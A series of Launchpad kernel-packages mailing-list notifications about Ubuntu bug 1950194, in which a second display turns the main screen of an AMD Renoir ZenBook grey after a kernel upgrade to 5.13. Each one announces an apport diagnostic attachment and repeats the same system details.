[Kernel-packages] [Bug 1950194] ProcInterrupts.txt
apport information ** Attachment added: "ProcInterrupts.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538950/+files/ProcInterrupts.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Lsusb-v.txt
apport information ** Attachment added: "Lsusb-v.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538946/+files/Lsusb-v.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Lsusb.txt
apport information ** Attachment added: "Lsusb.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538944/+files/Lsusb.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] ProcCpuinfo.txt
apport information ** Attachment added: "ProcCpuinfo.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538947/+files/ProcCpuinfo.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] ProcEnviron.txt
apport information ** Attachment added: "ProcEnviron.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538949/+files/ProcEnviron.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] ProcCpuinfoMinimal.txt
apport information ** Attachment added: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538948/+files/ProcCpuinfoMinimal.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] CurrentDmesg.txt
apport information ** Attachment added: "CurrentDmesg.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538940/+files/CurrentDmesg.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Lspci.txt
apport information ** Attachment added: "Lspci.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538942/+files/Lspci.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Lspci-vt.txt
apport information ** Attachment added: "Lspci-vt.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538943/+files/Lspci-vt.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] Lsusb-t.txt
